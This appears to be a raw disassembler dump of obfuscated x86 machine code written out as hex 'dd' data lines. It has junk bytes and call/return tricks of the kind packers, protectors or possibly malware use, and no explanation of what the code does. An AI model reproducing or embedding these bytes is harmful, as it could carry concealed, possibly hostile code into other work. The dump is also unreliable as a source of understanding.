24448958h dd 24448104h, 1704h, 0C3504000h, 0F8051CE6h, 3071BD03h dd 0BD8B062Bh, 62B2491h, 8B0FC18Bh, 0Ch, 6820Fh, 8D890000h dd 62B288Dh, 2FC1858Dh, 6A062Bh, 3E850h, 58200000h, 448958C3h dd 44810424h, 1D0424h, 50400000h, 0D93880C3h, 51B6BF6Eh dd 90094397h, 0BF665050h, 905B8EB8h, 6ADEB70Fh, 4D9D8B00h dd 6A062B2Bh, 8D895600h, 62B08E5h, 90858D5Bh, 6A062F83h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1D042444h dd 47000000h, 8E46C357h, 45E838F9h, 0AD9E6804h, 0FC05C083h dd 5096D780h, 0EE860h, 0DC8F0000h, 0A950A616h, 7296B2FBh dd 8F4FD11Ch, 40256BBh, 0F0B65B77h, 24048961h, 11E9h, 0B2A79000h dd 33E5FBAAh, 0D6B5BE2Ch, 89588B3Bh, 6A374Fh, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 15h, 0F5C35040h, 0FE9CBh dd 62060000h, 0E68EFD52h, 7B7841E7h, 7F6036EDh, 6A006A93h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1B042444h dd 42000000h, 6B4EC352h, 0AAE19B91h, 0BD8B5BC8h, 62B25E1h dd 0C820Fh, 8C0F0000h, 6, 2CED9D8Bh, 95FF062Bh, 62B34E1h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 62C35343h dd 8D8DABD2h, 62EA6AAh, 5830Fh, 81660000h, 0FFCDB3D7h dd 86F6BBD1h, 0BD8376F0h, 62B0A01h, 71850F01h, 0B3000000h dd 6A026AA2h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 17042444h, 41000000h, 98F7C351h, 0BF66956Ch, 0E8901836h dd 0Fh, 1FCE6CBBh, 53198014h, 268A80Dh, 0FEAF4BAh, 283h dd 5B5F5000h, 2BABF50h, 0FF907920h, 2B05E195h, 57006A06h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1704h, 0C3574700h dd 0FA3ED861h, 0CEAE9h, 0E800h, 815D0000h, 2F839AEDh, 57006A06h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1504h, 0C3574700h dd 816676B2h, 667048E7h, 858DFE8Bh, 62E993Ah, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 18h, 0EBC35040h, 26A59C2Dh dd 2A218D89h, 0E950062Bh, 0Ah, 0C7987818h, 0FFD3E49Fh dd 489077Dh, 57006A24h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1B04h, 0C3574700h, 177BCAE1h, 607B0DACh, 66DA8B66h dd 0B312EB81h, 35FF64h, 6A000000h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 18042444h, 41000000h, 9BC9C351h dd 89D86AB9h, 2B297995h, 25896406h, 0 dd 33D71BFh, 0D85FF24h, 8B062B1Eh, 2B0701BDh, 0DABF0F06h dd 9D8BFF6Ah, 62B2FA5h, 7A1B5FFh, 9D31062Bh, 62B05C9h dd 11A995FFh, 17E9062Bh, 66000001h, 3B6FABBh, 2B011DBDh dd 5700B006h, 6070E65Fh, 2D359589h, 8E9062Bh, 4D000000h dd 21D29071h, 614F6188h, 24BF71E4h, 0F32E7E4h, 589h, 0CF816600h dd 613C1DFBh, 0D8830Fh, 5E80000h, 0C0000000h, 69056FECh dd 5BDA8B66h, 0BAC8B60Fh, 6, 9367CBFh, 0E9C18B4Eh, 6, 0B0F0492Ah dd 0C1F9C8D6h, 0BF6604E8h, 0F7667ABCh, 0DF8B66E2h, 0DB81C82Bh dd 2C11244Fh, 40BFD18Bh, 0E9186434h, 3, 8BF98B66h, 2B004D85h dd 18D0906h, 83062B35h, 83FC07C0h, 0BD3300C0h, 62B2EE1h dd 830FD03Bh, 34h, 64E9F5h, 13E80000h, 6E000000h, 39E678A6h dd 0EFEEABDEh, 0C619ED44h, 18572F3Dh, 9E80F9Ah, 6E000000h dd 5B9030BCh, 9156D889h, 6ED9D8Bh, 5B5F062Bh, 0B6D8D8Bh dd 0BD23062Bh, 62B34A9h, 0F01E183h, 2184h, 8D858900h, 83062B2Ah dd 2B0B6DA5h, 9D23FE06h, 62B09C1h, 4D9589h, 0CB80062Bh dd 0E920h, 0B58D0000h, 62EF49Bh, 152006Ah, 2B1F31B5h, 0FE95B06h dd 0CE000000h, 68400E4Dh, 0F30216Ah, 0BDBEE45Ch, 95FF9D29h dd 62B2945h, 961B9h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1A04h, 0C3564600h, 3B5BEAD5h, 0B78B9E9Eh dd 0FCE1830Ch, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 16h, 0F9C35343h, 8D0908B4h, 62B25A9h, 56006AFCh, 3E8h dd 0C35E2000h, 2474895Eh, 24448104h, 1804h, 0C3564600h dd 0E6326175h, 0C02BF513h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 15h, 87C35040h, 0BAA9h, 66600000h, 36B9D981h dd 2D91E081h, 89615337h, 2B114D8Dh, 0C233AD06h, 0D003E8D1h dd 7504E983h, 0D99D89F4h, 6A062B28h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1A042444h, 42000000h, 0CF0DC352h dd 92F42299h, 880D36h, 8B660000h, 0E1958BFBh, 8B062B0Eh dd 0E19D8BFAh, 8B062B2Eh, 2B21E18Dh, 56006A06h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1804h, 0C3564600h, 872AAFC3h dd 419D8B38h, 66062B18h, 8B50DE8Bh, 3188BC2h, 8B188BC1h dd 3E8D1C1h, 58188BC2h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 1Ah, 10C35545h, 0F207E2E4h, 8529DBD2h, 62B0C5Dh dd 0BFB56060h, 0B0FD981h, 8961158Fh, 2B2B4D8Dh, 8D0F6106h dd 0Ah, 5E9h, 0DFC69B00h, 0BD833E42h, 62B05A9h, 68840F00h dd 0B8000000h, 0 dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 16h, 0D5C35242h dd 858956F6h, 62B28E1h, 4EA18D8Dh, 890F062Bh, 2Bh, 0CE8h dd 0E1E33500h, 53BEA2E2h, 2A180768h, 14E95Ah, 6D8D0000h dd 582B5E17h, 0D21AE229h, 0AB938873h, 0DBDEA94Dh, 0FF5B077Ch dd 45BD2BE1h, 83062B09h, 2B2BE5BDh, 840F0006h, 426h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 0DDC35747h, 0C62E3603h dd 25D99D09h, 0BD83062Bh, 62B2BE5h, 0E840F01h, 6A000004h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 19042444h dd 42000000h, 6E99C352h, 0CEC7917Fh, 14E9h, 0EFF2B200h dd 76588218h, 41A9C64Dh, 20C8D92Ah, 0B0702BF6h, 0E5BD8356h dd 3062B2Bh, 391860Fh, 6A0000h, 3E850h, 58200000h, 448958C3h dd 44810424h, 1D0424h, 50400000h, 8C7FF3C3h, 3E828E01h dd 60BB987Ch, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 1Ah, 3C35545h, 603BB5D5h, 0FB8BB4CAh, 6AD98C66h, 3E85200h db 2 dup(0) word_584F4E dw 2000h ; DATA XREF: ___:0042BEA8o dd 895AC35Ah, 81042454h, 16042444h, 42000000h, 0FDCEC352h dd 0A1BD8952h, 66062B1Fh, 80089EBFh, 0D38104E1h, 2EC69B7Bh dd 840FC90Ah, 10Fh, 8E8h, 0A1769400h, 0AB538FD6h, 559D8B8Dh dd 5B062B35h, 68F0Fh, 8D890000h, 62B06F5h, 1EB5858Bh, 8D0F062Bh dd 0 dd 258D8533h, 9589062Bh, 62B1EC5h, 89DA8B50h, 6A2404h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h dd 2C000AC3h, 8FCC74F5h, 6A21E9h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Bh, 7AC35646h, 0A8839088h, 0BBD750Eh dd 2B270D9Dh, 7C796806h, 52502A47h, 8AC084BBh, 0E8310F06h dd 0Ch, 0A7B6DD39h, 8D2E1F48h, 0D3E94186h, 81585A5Bh, 7F862434h dd 6A2A58h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h dd 56460000h, 0F92DB6C3h, 0B595895Dh, 0FF062B0Ch, 2B091D95h dd 0F98B6606h, 0B5B08589h, 0BF0F062Eh, 1C6E9FAh, 6A0000h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h, 56460000h dd 8BC7EEC3h, 2EB5A885h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1A04h, 0C3524200h, 7599D892h, 0C77F51EEh dd 1800h, 228C0F00h, 0E8000000h, 9, 0F7EBF66h, 597E813Ah dd 0DE88Ah, 15940000h, 57193CE6h, 0D2B64ED2h, 5B7F73D7h dd 0ACB58B5Fh, 6A062EB5h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 14042444h, 47000000h, 89EDC357h, 2B25A9B5h dd 0ED9D8906h, 8B062B2Eh, 2B16C585h, 0D2CB8006h, 6A0689h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h dd 0FC2648C3h, 9D773F93h, 0BD8BF9BBh, 62B2A3Dh, 1EB5858Bh dd 6A062Bh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h dd 56460000h, 8D89A7C3h, 62B15C1h, 8B044689h, 2B0D519Dh dd 0F96F806h, 0E88h, 0BF525000h, 1A6D431Dh, 8B66310Fh dd 50585ADAh, 0E996FC8Ah, 10h, 766C2387h, 192B45C9h, 676C82A4h dd 2EF93C46h, 0B5A8B5FFh, 0B1BB062Eh, 683F27BFh, 6BCEABh dd 0E9C88B60h, 6, 86A0161Eh, 8161EFBEh, 0CD542434h, 6A0074h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h, 52420000h dd 9D2BEDC3h, 62B2439h, 0B5B0858Dh, 9501062Eh, 62B3331h dd 0EFBF6650h, 240489E5h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Dh, 3BC35343h, 6F87E77Ch, 29001B6h, 0D8B70F52h dd 91D95FFh, 9D8B062Bh, 62B0CF9h, 57006A61h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1704h, 0C3574700h, 7B5F134Ah dd 85C7D88Bh, 62B2BE5h, 3, 0C8C0Fh, 0BE600000h, 7EC9A409h dd 0D0E88166h, 0BD8361C0h, 62EB5B0h, 8840F00h, 0E9000000h dd 1Eh, 50A1C380h, 110C30h, 0C1011144h, 443010E8h, 4C000211h dd 83580311h, 0E77504E9h, 305036EBh, 64001104h, 0E8C10111h dd 11443010h, 11640002h, 0E9835803h, 0EBE77504h, 0E8C1501Bh dd 11642810h, 11443003h, 64285802h, 4300111h, 4E98311h dd 0EBE775h, 6AC08Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 150424h, 53430000h, 81280DC3h, 0C4074EE7h, 0DA8B6650h dd 0EE9DA8Bh, 0F9000000h, 5C836471h, 0DDDA6918h, 0CBF7D619h dd 0E5BD832Dh, 3062B2Bh, 3B1850Fh, 6A0000h, 3E850h, 58200000h dd 448958C3h, 44810424h, 1D0424h, 50400000h, 57E95C3h dd 0CEC658F2h, 1A689D1h, 2B0CD5B5h, 0B0BD8306h, 62EB5h dd 379840Fh, 0B5890000h, 62B0129h, 0B5B0B5FFh, 95FF062Eh dd 62B0175h, 8BDF8B66h, 2B10F9BDh, 0A4B58B06h, 6A062EB5h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 16042444h dd 40000000h, 0B0F3C350h, 0DBD8B13h, 0C7062B0Fh, 1000106h dd 0DD78100h, 505A1D3Eh, 0F37915BBh, 24348967h, 0A2C7E781h dd 0B5FF3789h, 62EB5B0h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 16h, 68C35646h, 11E9DCD4h, 7000000h, 15629BBCh dd 0BB000F24h, 10B52832h, 41065BE7h, 0AE9h, 0EB0D9C00h dd 0C94CA05Ch, 0FFC388C3h, 2B155595h, 55006A06h, 3E8h dd 0C35D2000h, 246C895Dh, 24448104h, 1A04h, 0C3554500h dd 0FBBF098Ah, 8B79D7F8h, 2B095D9Dh, 0A4B58B06h, 8B062EB5h dd 2B1AD985h, 6800F06h, 29000000h, 2B083185h, 0C4868906h dd 6A000000h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 1D042444h, 42000000h, 0D67FC352h, 512657CDh, 48189567h dd 0EE1958Bh, 6A062Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 150424h, 57470000h, 0B3C6BEC3h, 4C283ADh, 37E38166h dd 205089ACh, 48D0Fh, 0BB660000h, 858DCBB5h, 62ECA4Eh dd 0B8D8589h, 9D89062Bh, 62B0A81h, 0B88689h, 0DE90000h dd 33000000h, 583948F1h, 2F90A4B7h, 0E8988340h, 9D8B006Ah dd 62B1D45h, 0B5B0B5FFh, 6A062Eh, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 1A0424h, 57470000h, 33E961C3h, 0B62A7C50h dd 19850160h, 0F5062B11h, 4880F61h, 66000000h, 0FFB32DBBh dd 2B05E195h, 19BD8B06h, 89062B11h, 2B2F818Dh, 52509606h dd 8A0F53h, 5F000000h, 860F310Fh, 6, 820Fh, 585A0000h dd 13E950h, 859A0000h, 0D66222C7h, 8E99B38Ah, 0E7900C0Ah dd 99B6F7DBh, 0BD0396ABh, 62B0CF5h, 3039B589h, 0B5FF062Bh dd 62EB5B0h, 6DB58950h, 5F062B1Eh, 156995FFh, 6A062Bh dd 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h dd 61AFC0C3h, 84FA0AA4h, 0EE8A1h, 9A900000h, 0A885B517h dd 0F85C6390h, 6E7069BEh, 5BD88B66h, 1D9DBD83h, 0F00062Bh dd 3584h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1B04h, 0C3504000h, 94940911h, 0F8326BF1h, 1F559D89h dd 5096062Bh, 8B665057h, 965B5BDEh, 0B5FFFB8Bh, 62EB5B0h dd 11E5BD8Bh, 95FF062Bh, 62B2E11h, 0B5B0B5FFh, 0FE8062Eh dd 0D4000000h, 98AC3406h, 0E40B160Bh, 0C35D777Fh, 0F3BF2F7Ch dd 5F2ED95Fh, 240D95FFh, 6A062Bh, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 1B0424h, 52420000h, 53F3FDC3h, 0B5EE514Fh dd 29BD8386h, 2062B2Eh, 60840Fh, 81660000h, 8B35F4E3h dd 2B2B3985h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1604h, 0C3554500h, 66F90F93h, 3575D381h, 0EE9h, 3252A900h dd 55A05B79h, 0E79DF83h, 0C6F31EF4h, 8E0F0000h, 10h, 0BE9h dd 0DC460700h, 22DB54BFh, 8D6829AEh, 8058589h, 85C7062Bh dd 62B0925h, 0 dd 0E9F8BF0Fh, 0FFFFF444h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 1Ah, 27C35747h, 7B549E9h, 9D8B4F5Fh, 62B0DF5h dd 6AC18Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h dd 55450000h, 0F6CBEAC3h, 8D1EF8BCh, 2B2FC185h, 57006A06h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1904h, 0C3574700h dd 0DADDB5FFh, 0B70FB469h, 0CE850FFh, 97000000h, 0C8CA3C89h dd 8E179D7Bh, 0FE9BE78h, 28Dh, 5F5B5300h, 6A240489h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 18042444h, 41000000h dd 9EEAC351h, 50AAA83Fh, 8B006A5Bh, 60006AFBh, 4A068DB9h dd 4D85892Ch, 61062B06h, 9264858Dh, 6A062Fh, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 1D0424h, 53430000h, 9F08C8C3h dd 0F9F3E33Fh, 663BFA6Bh, 830842BBh, 0DE805C0h, 0BD000000h dd 0B0301CC3h, 0C79F6096h, 3B922FCh, 7D9BD8Bh, 905F062Bh dd 5E950h, 0A74B0000h, 900EB4C7h, 6ADEB7h, 8A0F5160h, 0 dd 1DCF8158h, 617DF484h, 6A006Ah, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 160424h, 53430000h, 0DAD2CBC3h, 3850Fh, 8B660000h dd 8C0FF9h, 0FF000000h, 2B34E195h, 51006A06h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1704h, 0C3514100h, 1AA202Ch, 0A6AA8D8Dh dd 8589062Eh, 62B0775h, 6AD1FFh, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 1A0424h, 51410000h, 0EF6937C3h, 0ED5B6489h dd 419D01h, 6657062Bh, 3E8BF781h, 1BD835Bh, 1062B0Ah, 5E850Fh dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h dd 56460000h, 7AC955C3h, 0DF81DD12h, 38B53F50h, 9589026Ah dd 62B26B9h, 0E850F90h, 0E9000000h, 9, 0E16E639Ah, 0D61DCB07h dd 0C4BB5013h, 90126D74h, 8D31D88Bh, 62B1E4Dh, 5E195FFh dd 0EB81062Bh, 6610FA3Ch, 0E3BE9h, 0E800h, 815D0000h, 2F926EEDh dd 0EB816606h, 6A4321h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 160424h, 55450000h, 0FCAE5FC3h, 993A858Dh, 6A062Eh dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h, 51410000h dd 404683C3h, 13E21F0h, 50FE8B66h, 9E956h, 0CBC90000h dd 90E1C10Fh, 5FB64522h, 6A240489h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 1B042444h, 47000000h, 76ADC357h dd 5C4D0448h, 6E95922h, 0BB000000h, 1585200Dh, 0B98589EDh dd 64062B02h, 35FFh, 8B660000h, 258964DFh, 0 dd 0FFDF8B66h, 2B1E0D85h, 50006A06h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1404h, 0C3504000h, 3D958934h dd 6A062B1Dh, 840F50FFh, 6, 850Fh, 0FF5F0000h, 2B0165B5h dd 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1B04h dd 0C3504000h, 93487BF5h, 795246Bh, 0AA9BD0Bh, 95FF062Bh dd 62B11A9h, 12CE9h, 0D88B6600h, 0F5000B0h, 684h, 699D8B00h dd 5B062B34h, 11E970E6h, 58000000h, 0C2BF5AD0h, 0F6110EACh dd 28B887AAh, 0C010981Bh, 0BD8B71E4h, 62B195Dh, 830F613Ch dd 0F1h, 9E9h, 0A350C000h, 0CDACD735h, 0B53159C5h, 62B1C79h dd 80C8B60Fh, 0BAFC10E3h, 6, 8B66C18Bh, 4E8C1DFh, 0F766FE8Bh dd 0EE8E2h, 0C760000h, 0B08FBDDCh, 0B3CD8BFh, 0D249EC7Ah dd 3860F5Fh, 0F000000h, 0C82BDBB7h, 9E871BBBh, 1D18B47h dd 2B1BC985h, 0AE806h, 197C0000h, 485F2A17h, 24407AA7h dd 0E7DBD8Bh, 0E95B062Bh, 6, 2F0DB589h, 858B062Bh, 62B089Dh dd 38A0Fh, 8B660000h, 7C083DAh, 83F88B66h, 0D88B00C0h dd 830FD03Bh, 0Dh, 2639BD0Bh, 4AE9062Bh, 0B3000000h, 0F18D8B71h dd 0E9062B1Bh, 11h, 0AC2EBC8Ch, 72CF803Ah, 36AF3F7Bh, 0DAAED532h dd 1E183DCh, 23840Fh, 82BB0000h, 836E589Ch, 2B1BF1A5h dd 6651FE06h, 5B4AC2BFh, 89D9589h, 9D8B062Bh, 62B1911h dd 0E9h, 7BB58D00h, 6A062EFFh, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1C042444h, 47000000h, 1980C357h, 68A80D53h dd 0FF4BA02h, 680h, 7DBD2900h, 89062B19h, 2B342185h, 6A006A06h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 19042444h dd 43000000h, 0D11FC353h, 6BFD3188h, 0BE9h, 0AB380200h dd 2BA43070h, 38018E9Eh, 294595FFh, 9D89062Bh, 62B0931h dd 920B9h, 358D2900h, 83062B2Ch, 6AFCE1h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 140424h, 55450000h, 0FFCD1C3h dd 0C02BF8B7h, 66DB8166h, 80D22BF4h, 33AD3BF7h, 3E8D1C2h dd 4E983D0h, 6660F475h, 6A61FB8Bh, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 16042444h, 43000000h, 0B7D3C353h dd 880DB9h, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 150424h, 51410000h, 0F63F5C3h, 0C8Dh, 6810F00h, 1000000h dd 2B15A58Dh, 0DB815106h, 5BEE525Eh, 0E1958B5Bh, 0F062B0Eh dd 8D8BFFB7h, 62B21E1h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 1Bh, 0E4C35040h, 40B92185h, 89C1532Dh, 2B2BE1B5h dd 0C28B5006h, 0C103188Bh, 0C18B188Bh, 0C203E8D1h, 6058188Bh dd 6E9h, 936FEA00h, 23B4CB20h, 2B349585h, 8D296106h, 62B1AC1h dd 0BD83FD8Ah, 62B05A9h, 74840F00h, 1000000h, 2B0501BDh dd 0F0BF6606h, 0B8FAh, 6A0000h, 3E850h, 58200000h, 448958C3h dd 44810424h, 1B0424h, 50400000h, 7624F6C3h, 62DACCB1h dd 0A18D8DDEh, 0F062B4Eh, 38Dh, 0D9BF0F00h, 6AE1FFh, 3E850h dd 58200000h, 448958C3h, 44810424h, 170424h, 50400000h dd 0E10279C3h, 9DB58993h, 0F062B1Bh, 682h, 31B53100h, 83062B33h dd 2B2BE5BDh, 840F0006h, 4D4h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 16h, 5AC35747h, 0BD8313C3h, 62B2BE5h dd 0C4840F01h, 6A000004h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1A042444h, 42000000h, 0A4BCC352h, 2B081407h dd 0EB816652h, 0BD835E40h, 62B2BE5h, 5A860F03h, 8B000004h dd 2B01FDBDh, 95016006h, 62B24E5h, 10DDBD29h, 8C66062Bh dd 158D29D9h, 80062B27h, 0B58904E1h, 62B159Dh, 0D403E781h dd 0C90A091Eh, 162840Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 170424h, 57470000h, 0CCAFB5C3h, 0DE9F8h dd 9CCA0000h, 0B4727EF8h, 0CB5FE38Bh, 8BC1BC55h, 2B1EB585h dd 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1404h dd 0C3564600h, 8166600Ch, 0B5010FD8h, 85336149h, 62B258Dh dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 0E3C35545h dd 8E0F4F0Ah, 2, 6090FAB3h, 12E8h, 0FCF5C400h, 6DF6DA48h dd 0DC73E612h, 0A0C7A35Ah, 0BF565A01h, 175A9CB4h, 61D88B59h dd 8D0F5750h, 3, 5BDE8B66h, 0CD9D8B90h, 6A062B2Fh, 0EE900h dd 699B0000h, 0AA0098EBh, 0E5ABABE1h, 1E9A51E3h, 4E8h dd 1F03FF00h, 0F536000h, 86h, 0F78B5800h, 0F98B5061h, 424448Bh dd 4489008Bh, 6A580424h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 14042444h, 42000000h, 0FF66C352h, 2B091D95h dd 0E6BF6606h, 6880F68h, 89000000h, 2B2D7995h, 0B0858906h dd 8B062EB5h, 2B2001BDh, 7D9D8906h, 0E9062B0Eh, 246h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 0DDC35747h, 0A3C5EFD5h dd 0A36620D8h, 0B5A8858Bh, 6A062Eh, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 150424h, 51410000h, 0F643CC3h dd 1283h, 0DE900h, 0B3B80000h, 1A64C247h, 9BFF4184h, 0C7C7BA47h dd 1800h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1504h, 0C3504000h, 0B5894C66h, 62B2FDDh, 0B5ACB58Bh dd 0BD89062Eh, 62B2C71h, 16C5858Bh, 6A062Bh, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 140424h, 53430000h, 0BD89FFC3h dd 62B35B1h, 858B0689h, 62B1EB5h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 15h, 66C35343h, 10E85722h, 0E5000000h dd 0FE6AAF83h, 8CF035C2h, 2B74CA20h, 66BB048Eh, 5BC1DDBBh dd 0BF66605Bh, 0B58B274Bh, 62B2F71h, 4468961h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 19h, 0BBC35646h, 0A5766037h dd 0F605078h, 58Bh, 0BCDBF00h, 72B073ECh, 24348961h, 3840Fh dd 0BF0F0000h, 0A8B5FFDBh, 6A062EB5h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 1C042444h, 41000000h, 957C351h dd 0E68593A2h, 8B8E15ECh, 2B0BF9BDh, 0CCFE6806h, 8B667D7Eh dd 243481FBh, 7D61CF01h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 1Ch, 5C35242h, 697E11C6h, 83A7C730h, 7E8h dd 692D6600h, 7F057DC5h, 858DF85Bh, 62EB5B0h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 0F2C35646h, 0BBB77528h dd 0B57315ABh, 810F69h, 90000000h, 66525060h, 0F82FFBEh dd 5E831h, 8A670000h, 5E799AEAh, 5250585Ah, 880Fh, 310F0000h dd 310F5250h, 585A585Ah, 52505061h, 48C0Fh, 0BF660000h dd 310F2822h, 585A2AB7h, 35958990h, 0FF062B2Eh, 2B091D95h dd 0CE906h, 0F54F0000h, 1DB01D15h, 0EA313FFDh, 6A61C6DFh dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 15042444h dd 46000000h, 4A89C356h, 2BF5BD8Bh, 85C7062Bh, 62B2BE5h dd 3, 0E850006Ah, 3 dd 58C35820h, 4244489h, 4244481h, 17h, 0D2C35040h, 0E812C53Ch dd 8, 250583DBh, 75C2BE03h, 891CC381h, 835B46FAh, 2EB5B0BDh dd 840F0006h, 35h, 0F9E78166h, 699D8B11h, 0E9062B2Ah, 40h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 0BFC35141h dd 0FD0BF54Dh, 0CA4AECCDh, 0C305016h, 11440011h, 10E8C101h dd 2114430h, 3114C00h, 4E98358h, 36EBE775h, 11043050h dd 1116400h, 3010E8C1h, 21144h, 58031164h, 7504E983h, 501BEBE7h dd 2810E8C1h, 30031164h, 58021144h, 1116428h, 83110430h dd 0E77504E9h, 0C08B00EBh, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 18h, 0FDC35646h, 0C7382E90h, 10E8h, 0EDD84600h dd 20703B25h, 0CC3C0BCEh, 0FDE4F1F7h, 858B6060h, 62B3319h dd 1A25B966h, 0EE85F61h, 0D9000000h, 9D659CEDh, 77ACC51h dd 0AA0AF49Ah, 66D381A3h, 5B25E1B5h, 2BE5BD83h, 0F03062Bh dd 42E85h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1404h, 0C3534300h, 299D3183h, 83062B12h, 2EB5B0BDh dd 840F0006h, 3FFh, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 1Ch, 0DBC35747h, 877E075Eh, 0E5821F0Ch, 1F5D9D8Bh dd 0B5FF062Bh, 62EB5B0h, 17D58589h, 0DCB7062Bh, 17595FFh dd 0B589062Bh, 62B15FDh, 0B5A4B58Bh, 6A062Eh, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 170424h, 52420000h, 2D285AC3h dd 17BF66EBh, 106C7D3h, 6A000100h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 15042444h, 43000000h, 6DD5C353h dd 96DEB70Fh, 0DE8B6657h, 81BF505Bh, 96615071h, 0B5B0B5FFh dd 6A062Eh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h dd 52420000h, 0EED8B1C3h, 0EAE3A87Eh, 6652CA39h, 9DFFE381h dd 5595FF5Bh, 6A062B15h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 17042444h, 42000000h, 4305C352h, 8BF55837h dd 2EB5A4B5h, 119D8906h, 8B062B17h, 0D9858BDFh, 1062B1Ah dd 2B2F8DBDh, 0C4868906h, 6A000000h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 1D042444h, 41000000h, 3CC9C351h dd 0A03518Ah, 0F0ECB36Fh, 2B85BD09h, 958B062Bh, 62B0EE1h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 0BC35141h dd 8791BF3Fh, 5BCFDF69h, 79BD2B2Eh, 8B062B06h, 2B2A69BDh dd 4C28306h, 2E4DB531h, 800F062Bh, 3, 89FA8B66h, 0D3802050h dd 4E858D08h, 6A062ECAh, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1C042444h, 47000000h, 0F5C357h, 76976E21h dd 89CA97D2h, 2B2CE58Dh, 1820F06h, 0FC000000h, 0B88689h dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h dd 57470000h, 43D388C3h, 6A528BE5h, 57006A00h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1704h, 0C3574700h, 0A05AC353h dd 